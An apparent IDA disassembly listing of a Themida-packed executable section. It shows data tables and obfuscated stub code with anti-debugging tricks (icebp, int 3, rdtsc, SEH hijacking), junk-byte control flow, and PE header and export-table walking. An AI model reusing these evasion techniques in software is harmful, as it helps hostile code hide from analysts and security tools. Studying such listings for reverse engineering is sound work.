		dd offset loc_5C1203
		dd 7 dup(0)
		dd offset dword_5876F8
		dd 0A28C0Ah, 6 dup(0)
		dd offset dword_53F858+7CBh
		dd 6 dup(0)
		dd 8BFA8BFh, 5B97A0h, 2, 14h dup(0)
		dd 400000h, 3 dup(0)
		dd offset loc_5A5282
		dd 3 dup(0)
		dd offset loc_54DB54
		dd offset loc_5A4BDF+5
		align 10h
		dd offset loc_58963D
		dd offset loc_5A7E24
		dd 0
		dd 6A5BF3DBh, 0D668D7D1h, 3 dup(0)
		dd 0A10000h, 0Ah dup(0)
		dd offset sub_5A5318
		dd offset sub_59EADD
		align 8
		dd 304h, 2 dup(0)
		db 90h
		align 4
		dd 0
		dd 0FFFFFFFFh, 6 dup(0)
		dd 4, 0
		dd offset byte_5AAEED
		dd 4 dup(0)
		dd 380FD7EEh, 7	dup(0)
		dd 77D6ADFEh, 4	dup(0)
		dd 12FF54h, 1Bh	dup(0)
		dd offset word_57BE82
		dd 5C2DB9D6h, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	short near ptr word_54D316
; ---------------------------------------------------------------------------
		dw 9Eh
		dd 4 dup(0)
		dd 7FFE0304h, 57FCD2h, 2 dup(0)
		dd 2
		db 2 dup(0)
word_54D316	dw 0			; CODE XREF: Themida_:0054D2ECj
		dd 6 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 12FF54h, 182FFB0h, 13A8h, 0A10A9Ah, 0
		dd offset loc_5B98B0
		dd 0FFFFFFFFh, 5 dup(0)
		dd 0A28C0Ah, 6 dup(0)
		dd 9500h, 2 dup(0)
		dd 7FFE0304h, 9	dup(0)
		dd 98h,	7391DAF1h, 4 dup(0)
		dd 0E1DE586h, 0
		dd 1C34h, 6 dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd offset dword_5CFE0C
		dd 3 dup(0)
		dd offset dword_5CFE0C
		dd 0FFFF9725h, 2 dup(0)
		dd 12FFE0h, 5 dup(0)
		dd 400000h, 5 dup(0)
		dd 41A22692h, 2	dup(0)
		dd 0FFAB37DCh, 2 dup(0)
		dd 0F1E21A7Ah, 0
		dd 6CE40BEh, 3 dup(0)
		dd 0FFA652EFh, 0A69995h, 5C8D8Dh, 0Ah dup(0)
		dd 37050F7Bh, 4	dup(0)
		dd 0CC924B81h, 7 dup(0)
		dd offset loc_5AC530
		dd 77F52E0Fh, 7FFE0304h, 0
		dd offset loc_586443
		align 8
		dd 7FFE0304h, 0
		dd 6764h, 0FFED00A0h, 2	dup(0)
dword_54D520	dd 0A31568h, 2E275017h,	4 dup(0) ; DATA	XREF: Themida_:0054D7E0o
					; Themida_:0054D800o
		dd 0FE4A9673h, 0
		dd 11111111h, 3	dup(0)
		dd 77D40000h, 5BFB86h, 0
		dd 12FF54h, 0
		dd 31A9E3BDh, 22h, 9 dup(0)
		dd 77DD59F0h, 7A0E7E5Fh, 1, 3 dup(0)
		dd 0FC2E0D3Ch, 4 dup(0)
		dd offset loc_5839F5
		dd 3 dup(0)
		dd 304h, 0A2A037h, 6 dup(0)
		dd 8001FCFCh, 0
		dd 34EB86D9h, 0FFA85198h, 28D0000h, 4 dup(0)
		dd offset byte_5B52CF
		dd 2 dup(0)
		dd offset loc_586443
		dd 3 dup(0)
		dd 976145BCh, 0
		dd 12FFF0h, 6 dup(0)
		dd 400000h, 0
		dd 1, 6	dup(0)
		dd 1, 4	dup(0)
		dd 37054BA3h, 2	dup(0)
		dd offset byte_5C0023
		dd 0Eh dup(0)
		dd 0A2A00Fh, 7FFE0304h,	2 dup(0)
		dd 0FFFF1A97h, 3 dup(0)
		dd 12FF54h, 0Bh	dup(0)
		dd 0A29393h, 7 dup(0)
; ---------------------------------------------------------------------------
		retf	0B0B1h
; ---------------------------------------------------------------------------
		align 8
		dd offset byte_5D05EF
		dd 2 dup(0)
		dd 0FFFF1A97h, 0Bh dup(0)
		dd 5AE0h, 7FFE0304h, 3 dup(0)
		dd 84h,	0
		dd offset byte_5A3193
		align 10h
		dd 0B805h, 6 dup(0)
		dd 7FFE0304h, 434DD212h, 0A31568h, 2 dup(0)
		dd offset dword_54D520
		dd 2 dup(0)
		dd 5247ADD9h, 4	dup(0)
		dd offset dword_54D520
		dd 0BAAAh, 5BBD25h, 4 dup(0)
; ---------------------------------------------------------------------------
		sbb	al, bh
		and	esp, esp
		push	edx
		lahf
		inc	ebp
		retn
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 8AA7h, 0FFFFFFFCh, 2	dup(0)
		dd 0D58256Bh, 3	dup(0)
		dd offset byte_5E0EDF
		dd 4 dup(0)
		dd offset unk_4DF000
		dd 4834699Ch, 8	dup(0)
		dd 2B0FEEE9h, 0B2h dup(0)
; ---------------------------------------------------------------------------


loc_54DB54:				; DATA XREF: Themida_:0054D184o
		mov	eax, 0
		or	eax, eax
		jz	short loc_54DB60
		retn	18h
; ---------------------------------------------------------------------------


loc_54DB60:				; CODE XREF: Themida_:0054DB5Bj
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0A2A037h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 16h dup(0)
		dd 24h,	4 dup(0)
		dd 3 dup(33333333h), 7FFE0304h,	2Ah, 2 dup(0)
		dd offset word_5AC1A6
		dd 0AB19B80h, 4	dup(0)
		dd 0DCh, 7 dup(0)
		dd 0FFA4B134h, 2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd offset loc_58A828
		dd 2 dup(0)
		dd 5FCCC991h, 4	dup(0)
		dd 0C4h, 0
		dd 7FFE0304h, 70h, 0
		dd 6BACh, 86555974h, 3 dup(0)
		dd 881857C9h, 0
		dd 7FFE0304h, 4	dup(0)
		dd offset loc_5BACF1
		dd 77E7C785h, 0
		dd 0A6E31C02h, 0D228156Dh, 0AE7D4AFBh, 0D8h, 18D6D51Bh
		dd 3 dup(0)
		dd offset word_57BE82
		dd 2Eh dup(0)
		dd 6469h, 49F6D778h, 2 dup(0)
		dd 5674E7FBh, 3	dup(0)
		dd 17Eh, 0
		dd 1, 3	dup(0)
		dd offset byte_5A8363
		dd 1CC9F511h, 3	dup(0)
		dd offset dword_457444+29DBFh
		align 10h
		dd 0A269DDh, 0FFFFA01Ch, 2 dup(0)
		dd 32597F5Dh, 0E569h, 1000h, 0
		dd 0FFA78908h, 7 dup(0)
		dd 28D0000h, 6 dup(0)
		dd 62h,	3 dup(0)
		dd 0A269DDh, 8A31A6B6h,	4 dup(0)
		dd offset dword_5CFE0C
		dd 0
		dd 2A0114h, 2 dup(0)
		dd 94C6DC2Eh, 5	dup(0)
		dd 0B753FBF4h, 0
		dd 11D9F29h, 5 dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd 77E83E68h, 0
		dd 1, 2	dup(0)
		dd 77E776CDh, 27310304h, 2 dup(0)
		dd offset loc_5C12BF+5
		dd 900Bh, 4 dup(0)
		dd 7273EFB3h, 4	dup(0)
		dd 0FFFFFFF3h, 0
		dd 259208Ah, 586455h, 7FFE0304h, 0
		dd 6764h, 0FFFFFFFFh, 5	dup(0)
		dd 976145BCh, 0
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Ch dup(0)
		dd 9E828DE7h, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 0D0987273h, 2 dup(0)
		dd offset dword_5876F8
		dd 3 dup(0)
		dd offset byte_5879F3
		align 10h
		dd 0FFFFA2F4h, 0
		dd 6764h, 8AA7h, 0E80h,	0A2A313h, 0FFFF7559h, 0Bh dup(0)
		dd 6764h, 0
		dd 0FFFFFF68h, 6 dup(0)
		dd offset dword_5C4CC0
		dd 0
		dd 0A23E3Bh, 0Ah dup(0)
		dd 77E7C726h, 0
		dd 0E0C60000h, 1Ch dup(0)
		dd 77DD0000h, 3	dup(0)
		dd 380FD7EEh, 5	dup(0)
		dd 3D94h, 6 dup(0)
		dd 4, 6	dup(0)
		dd 69DDh, 0
		dd 0A22BDEh, 7FFE0304h,	0
		dd 94h,	7FFE0304h, 0FFAB37DCh, 4 dup(0)
		dd 42E45F83h, 2	dup(0)
		dd offset loc_5C1203
		dd 2430008h, 12FFA4h, 3FEEh, 0D1739634h, 2 dup(0)
		dd 0A10000h, 5803D5h, 5	dup(0)
		dd 0FFFFh, 576FE082h, 7	dup(0)
		dd 0A323E8h
dword_54E3C8	dd 0			; DATA XREF: Themida_:0054CAD8o
		dd 547Ch, 7 dup(0)
		dd 2A0114h, 0
		dd 1F8Fh, 99AEh, 7FFE0304h, 77EBA6E9h, 3 dup(0)
		dd 0A47FD8h, 2 dup(7FFE0304h), 0
		dd 0A29234h, 3 dup(0)
		dd offset byte_5C138D
		dd 6 dup(0)
		dd 0E3030000h, 7 dup(0)
		dd 33AB6305h, 0Ah dup(0)
		dd offset byte_5A57ED
		dd 2 dup(0)
		dd offset sub_5CE57D
		dd 6 dup(0)
		dd offset loc_5CFCB9
		dd 4 dup(0)
		dd 24B6B9Ch, 0
		dd 32F9DC04h, 0FFFFFFFDh, 0
		dd offset loc_58BEA5
		dd 9 dup(0)
		dd 7FFE0304h, 25B0000h,	4 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_54E53E
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_5A0934
		dd 74h,	77E7C657h, 0
		db 9Ah,	0Ah
; ---------------------------------------------------------------------------


loc_54E53E:				; CODE XREF: Themida_:0054E528j
		mov	eax, large ds:0
; ---------------------------------------------------------------------------
		db 0
		align 10h
		dd 77E7FB17h, 77F5180Bh, 5C52D1h, 0
		dd 12FFC4h, 2 dup(0)
		dd 7C8C0968h, 2	dup(0)
		dd offset word_5865EA
		dd 3 dup(0)
		dd 7FFE0304h, 4	dup(0)
		dd offset loc_5969F6
		dd 3 dup(0)
		dd 385FF68h, 4 dup(0)
		dd 84DCCC7Ah, 2	dup(0)
		dd 24B7FFFh, 0Dh dup(0)
		dd 5A4BD4B8h, 2	dup(0)
		dd offset word_5D738E
		align 8
a6666		db '6666',0
		align 10h
		dd 3 dup(0)
		dd 816A6869h, 586443h, 0A10FE6h, 2Ch dup(0)
		dd 93B4C9Eh, 77E7C486h,	0
		dd offset loc_5D000F
		dd 4 dup(0)
		dd 9096h, 49CC51h, 6 dup(0)
		dd 1, 2	dup(0)
		dd offset sub_57FA37
		dd 3 dup(0)
		dd 0DE000h, 0C7246BA2h,	2 dup(0)
		dd 0FFFFA4C0h, 15h dup(0)
		dd 0A10000h, 25E0000h, 0FD7CA5Eh, 6 dup(0)
		dd 7FFE0304h, 0
		dd offset loc_5C12BF+5
		dd 5 dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd offset dword_5CFE0C
		dd offset sub_5A4E9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54E900:				; CODE XREF: start:loc_54B46Bj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 610349Fh
		mov	[ebp+61030F5h],	edx
		mov	[ebp+61030E9h],	esi
		mov	[ebp+61021C9h],	eax
		cmp	dword ptr [ebp+6101C21h], 0
		jz	short loc_54E938
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54E938:				; CODE XREF: start+6D916j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6102089h],	eax
		push	45h
		call	sub_54E9EC
		push	783749Ah
		call	sub_54EA32
		push	0A894B25h
		call	sub_54EA32
		jmp	loc_54EB76
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54E9EC	proc near		; CODE XREF: start+6D930p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 610358Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54EA08:				; CODE XREF: sub_54E9EC+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54EA27
		mov	eax, [ebp+arg_0]
		mov	[ebx+61034F7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54EA08
; ---------------------------------------------------------------------------


loc_54EA27:				; CODE XREF: sub_54E9EC+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54E9EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54EA32	proc near		; CODE XREF: start+6D93Ap start+6D944p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61035D6h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54EA58:				; CODE XREF: sub_54EA32+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54EA58
		mov	[ebp+var_84], 0
		lea	edi, [edx+61034F7h]
		lea	esi, [ebp+var_80]


loc_54EA88:				; CODE XREF: sub_54EA32+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54EA94:				; CODE XREF: sub_54EA32+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54EA94
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54EA88
		popa
		leave
		retn	4
sub_54EA32	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54EAD2
; ---------------------------------------------------------------------------


loc_54EACE:				; CODE XREF: Themida_:0054EAD5j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54EAD2:				; CODE XREF: Themida_:0054EACCj
		cmp	byte ptr [esi],	0
		jnz	short loc_54EACE
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54EB63
; ---------------------------------------------------------------------------


loc_54EAE4:				; CODE XREF: Themida_:0054EB66j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54EB5A
; ---------------------------------------------------------------------------


loc_54EAED:				; CODE XREF: Themida_:0054EB5Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54EB47
; ---------------------------------------------------------------------------


loc_54EAFD:				; CODE XREF: Themida_:0054EB4Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54EB1F
		cmp	bl, 39h
		ja	short loc_54EB1F
		sub	bl, 30h
		jmp	short loc_54EB41
; ---------------------------------------------------------------------------


loc_54EB1F:				; CODE XREF: Themida_:0054EB13j
					; Themida_:0054EB18j
		cmp	bl, 61h
		jb	short loc_54EB31
		cmp	bl, 66h
		ja	short loc_54EB31
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54EB41
; ---------------------------------------------------------------------------


loc_54EB31:				; CODE XREF: Themida_:0054EB22j
					; Themida_:0054EB27j
		cmp	bl, 41h
		jb	short loc_54EB41
		cmp	bl, 46h
		ja	short loc_54EB41
		sub	bl, 41h
		add	bl, 0Ah


loc_54EB41:				; CODE XREF: Themida_:0054EB1Dj
					; Themida_:0054EB2Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54EB47:				; CODE XREF: Themida_:0054EAFBj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54EAFD
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54EB57
		mov	eax, [ebp-10h]
		stosb


loc_54EB57:				; CODE XREF: Themida_:0054EB51j
		inc	dword ptr [ebp-8]


loc_54EB5A:				; CODE XREF: Themida_:0054EAEBj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54EAED
		add	edx, 4


loc_54EB63:				; CODE XREF: Themida_:0054EAE2j
		cmp	edx, [ebp-4]
		jb	loc_54EAE4
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54EB76:				; CODE XREF: start+6D949j
		mov	ecx, 7000h
		lea	edi, [ebp+610371Ch]


loc_54EB81:				; CODE XREF: start+6DB71j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54EB81
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6103828h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, edx
		push	0
		push	eax
		call	sub_54EBBF
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54EBBF	proc near		; CODE XREF: start+6DBA3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_54EBBF	endp

; ---------------------------------------------------------------------------
		mov	edx, 4EA70CCFh
		icebp
		pusha
		mov	ax, 0E3AAh
		sub	ecx, 6A53EF34h
		popa
		sub	eax, edx
		jmp	loc_54EBFC
; ---------------------------------------------------------------------------
		dd 9CF7D77h, 0BEED93CAh, 59F5EB04h, 56B66A17h, 0D7A8E2B7h
; ---------------------------------------------------------------------------


loc_54EBFC:				; CODE XREF: Themida_:0054EBE3j
		and	eax, 0FFFFF000h
		mov	bh, cl
		movzx	ebx, di
		mov	ecx, edx
		xor	edi, edi


loc_54EC0A:				; CODE XREF: Themida_:0054EC25j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54EC1F
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54EC27


loc_54EC1F:				; CODE XREF: Themida_:0054EC0Fj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54EC0A
; ---------------------------------------------------------------------------


loc_54EC27:				; CODE XREF: Themida_:0054EC1Dj
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+610383Bh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54EC61
		mov	esi, [eax+1Ch]


loc_54EC61:				; CODE XREF: Themida_:0054EC5Cj
		xor	eax, eax


loc_54EC63:				; CODE XREF: Themida_:0054EC76j
		cmp	eax, 32h
		jz	short loc_54EC87
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54EC78


loc_54EC6F:				; CODE XREF: Themida_:0054EC85j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54EC63
; ---------------------------------------------------------------------------


loc_54EC78:				; CODE XREF: Themida_:0054EC6Dj
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54ECC9
		jmp	short loc_54EC6F
; ---------------------------------------------------------------------------


loc_54EC87:				; CODE XREF: Themida_:0054EC66j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6103846h
		lea	eax, [ebp+6103804h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_54ECC9:				; CODE XREF: Themida_:0054EC83j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		call	near ptr loc_54ECDC+2
		ja	short loc_54ED4F
		inc	esi


loc_54ECDC:				; CODE XREF: Themida_:0054ECD4p
		db	0F3h
		repne jmp loc_54ECEE
; ---------------------------------------------------------------------------
		db 23h
		dd 17653E1Dh, 4765AEE6h
; ---------------------------------------------------------------------------
		adc	al, 0C8h


loc_54ECEE:				; CODE XREF: Themida_:loc_54ECDCj
		pop	ebx
		jnp	loc_54ECFB
		adc	ebx, 54A2709Ah


loc_54ECFB:				; CODE XREF: Themida_:0054ECEFj
		jle	loc_54ED0B
		jle	loc_54ED0B
		mov	bx, 49A7h


loc_54ED0B:				; CODE XREF: Themida_:loc_54ECFBj
					; Themida_:0054ED01j
		mov	cx, ds
		sbb	bx, 3474h
		and	cl, 4
		and	ebx, 2AD09204h
		jg	loc_54ED26
		push	edx
		mov	bh, ah
		pop	ebx


loc_54ED26:				; CODE XREF: Themida_:0054ED1Cj
		or	cl, cl
		jnz	loc_54ED6A
		push	eax
		mov	ebx, ecx
		pop	ebx
		mov	dword ptr [ebp+6102209h], 1
		call	near ptr loc_54ED46+2
		jnz	short near ptr loc_54EDB7+5
		movsb
		loop	near ptr loc_54ED8C+1


loc_54ED46:				; CODE XREF: Themida_:0054ED3Cp
		fist	dword ptr [edi+10E9h]
		add	[edi-51h], ah


loc_54ED4F:				; CODE XREF: Themida_:0054ECD9j
		out	dx, al
		imul	esi, ecx, 30h
		mov	edi, 99CF0D58h
		and	dh, ah
		xchg	eax, edx
		call	fword ptr ss:[ebx-17h]
		pop	ss
; ---------------------------------------------------------------------------
		dd 51000000h, 90EB8051h
; ---------------------------------------------------------------------------
		pop	ebx
		pop	ebx


loc_54ED6A:				; CODE XREF: Themida_:0054ED28j
		mov	dword ptr [ebp+6102209h], 0
		sbb	ebx, 64F6B3Ch
		mov	[ebp+6101499h],	eax
		jmp	loc_54ED8C
; ---------------------------------------------------------------------------
		db 48h,	70h, 77h
		dd 975E2BE4h
; ---------------------------------------------------------------------------


loc_54ED8C:				; CODE XREF: Themida_:0054ED80j
					; Themida_:0054ED44j
		mov	ebx, edx
		mov	[ebp+6101D45h],	eax
		call	sub_54ED9E
; ---------------------------------------------------------------------------
		shr	dword ptr [esp+eax*2], 48h
		xchg	eax, edx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_54ED9E	proc near		; CODE XREF: Themida_:0054ED94p
		push	ecx
		mov	dh, 33h
		pop	ebx
		pop	edi
		movsx	ebx, si
		add	edi, 5F51h
		push	esi


loc_54EDAD:				; CODE XREF: sub_54ED9E+30j
		push	esi
		xor	dx, 0BA99h
		pop	eax
		pop	ebx
		xor	ecx, ecx


loc_54EDB7:				; CODE XREF: Themida_:0054ED41j
		jb	loc_54EDBF
		mov	eax, ebx


loc_54EDBF:				; CODE XREF: sub_54ED9E:loc_54EDB7j
					; sub_54EDD8+99j
		mov	esi, [edi+ecx]
		call	sub_54EDD8
		dec	esi
		dec	eax
		int	3		; Trap to Debugger
		add	edx, edi
		pop	edx
		dec	esp
		jmp	short loc_54EDAD
sub_54ED9E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 4A875C60h, 0AA7B5F13h

; =============== S U B	R O U T	I N E =======================================



sub_54EDD8	proc near		; CODE XREF: sub_54ED9E+24p

; FUNCTION CHUNK AT 0054EE6F SIZE 00000007 BYTES

		push	eax
		mov	bl, 89h
		pop	eax
		pop	eax
		xor	esi, 356530D1h
		jnb	loc_54EDFA
		jmp	loc_54EDFA
; ---------------------------------------------------------------------------
		dw 5353h
		dd 0A5B87AAFh, 8458208Ah
		db 8Fh,	91h
; ---------------------------------------------------------------------------


loc_54EDFA:				; CODE XREF: sub_54EDD8+Bj
					; sub_54EDD8+11j
		add	esi, 4DA7BFB3h
		and	ah, 0DBh
		add	esi, 5BB9DCAEh
		mov	ax, di
		push	esi
		mov	edx, edi
		pop	dword ptr [edi+ecx]
		add	ebx, 2BE6B1EEh
		jmp	loc_54EE2D
; ---------------------------------------------------------------------------
		db 3Eh,	8Bh, 1Dh
		dd 0D460E516h, 0B782B194h, 42AE4D6Eh
		db 0B7h
; ---------------------------------------------------------------------------


loc_54EE2D:				; CODE XREF: sub_54EDD8+40j
		sub	ecx, 4
		mov	dx, si
		cmp	ecx, 0FFFFA194h
		jnz	loc_54EE6F
		call	near ptr loc_54EE50+2
		xchg	edx, [ecx-78036581h]
		stosb
		inc	byte ptr [edx]
		add	bh, 0F7h


loc_54EE50:				; CODE XREF: sub_54EDD8+67p
		add	bh, [edi-46h]
sub_54EDD8	endp ; sp-analysis failed

		sal	al, 1
		cmc
		push	ebp
		pop	edx
		jmp	loc_54EE82
; ---------------------------------------------------------------------------
		db 59h,	9Fh, 6
		dd 97BD349Dh, 0E29511FFh, 81CC864Eh
		db 18h,	94h, 0D5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54EDD8


loc_54EE6F:				; CODE XREF: sub_54EDD8+61j
		mov	bl, 0E1h
		jmp	loc_54EDBF
; END OF FUNCTION CHUNK	FOR sub_54EDD8
; ---------------------------------------------------------------------------
		dw 1A13h
		dd 71046CF9h, 0C7D70689h
		db 64h,	89h
; ---------------------------------------------------------------------------


loc_54EE82:				; CODE XREF: Themida_:0054EE58j
		jmp	short loc_54EE88
; ---------------------------------------------------------------------------
		dd 215h
; ---------------------------------------------------------------------------


loc_54EE88:				; CODE XREF: Themida_:loc_54EE82j
		jmp	loc_54F4D6
; ---------------------------------------------------------------------------
		jmp	loc_54EE9D
; ---------------------------------------------------------------------------
		ffreep	st(2)
		or	al, 48h
		retf	0B9ECh
; ---------------------------------------------------------------------------
		db 65h,	28h, 3Eh
; ---------------------------------------------------------------------------
		dec	edx


loc_54EE9D:				; CODE XREF: Themida_:0054EE8Dj
					; DATA XREF: Themida_:0054CD8Co
		pusha
		jle	loc_54EEAA
		or	[ebp+6101D91h],	edx


loc_54EEAA:				; CODE XREF: Themida_:0054EE9Ej
		mov	eax, 0
		sub	[ebp+6101BE1h],	esi
		mov	edx, [esp+28h]
		pusha
		mov	edx, ecx
		mov	[ebp+6101FADh],	ebx
		popa
		mov	[ebp+6101475h],	eax
		jno	loc_54EED0
		cld


loc_54EED0:				; CODE XREF: Themida_:0054EEC9j
		mov	esi, 3Ch
		jge	loc_54EEE1
		xor	[ebp+6100B01h],	edi


loc_54EEE1:				; CODE XREF: Themida_:0054EED5j
		add	esi, [esp+24h]
		sub	[ebp+61015FDh],	ebx
		lodsw
		add	[ebp+610221Dh],	eax
		add	eax, [esp+24h]
		cld
		push	eax
		push	eax
		push	edx
		ja	loc_54EF03
		pusha
		popa


loc_54EF03:				; CODE XREF: Themida_:0054EEFBj
		rdtsc
		pusha
		mov	eax, 7A19D9Ch
		push	ebx
		pop	ecx
		popa
		pop	edx
		pop	eax
		mov	[esp], eax
		jmp	loc_54EF23
; ---------------------------------------------------------------------------
		dd 0CEE51CC6h, 0E2F02B76h
		db 0DBh, 60h, 0AAh
; ---------------------------------------------------------------------------


loc_54EF23:				; CODE XREF: Themida_:0054EF13j
		jmp	loc_54EF2D
; ---------------------------------------------------------------------------
		dd 8FFB44FDh
; ---------------------------------------------------------------------------
		scasb


loc_54EF2D:				; CODE XREF: Themida_:loc_54EF23j
		mov	eax, [eax+78h]
		sub	[ebp+6101289h],	edi
		add	eax, [esp+28h]
		mov	[ebp+6103055h],	ebx
		mov	eax, [eax+18h]
		jp	loc_54EF54
		pusha
		movsx	edi, si
		sub	eax, 3E012468h
		popa


loc_54EF54:				; CODE XREF: Themida_:0054EF43j
		inc	eax
		cld
		mov	[ebp+6103A19h],	eax
		pusha
		mov	dx, 3050h
		mov	si, ax
		popa
		pop	eax
		jz	loc_54EF72
		mov	[ebp+6102369h],	eax


loc_54EF72:				; CODE XREF: Themida_:0054EF66j
		mov	esi, [eax+78h]
		mov	[ebp+6101B35h],	ebx
		add	esi, 1Ch
		xor	[ebp+6100E71h],	edi
		add	esi, [esp+24h]
		stc
		lea	edi, [ebp+61020B5h]
		pusha
		mov	[ebp+6102395h],	edi
		popa
		lodsd
		clc
		add	eax, [esp+24h]
		mov	[ebp+6102375h],	edi
		stosd
		cld
		lea	edi, [ebp+6102F59h]
		jmp	loc_54EFC4
; ---------------------------------------------------------------------------
		dd 0DAD63271h, 9D360034h, 1572D9E4h, 5804B534h,	334AA798h
; ---------------------------------------------------------------------------


loc_54EFC4:				; CODE XREF: Themida_:0054EFABj
		lodsd
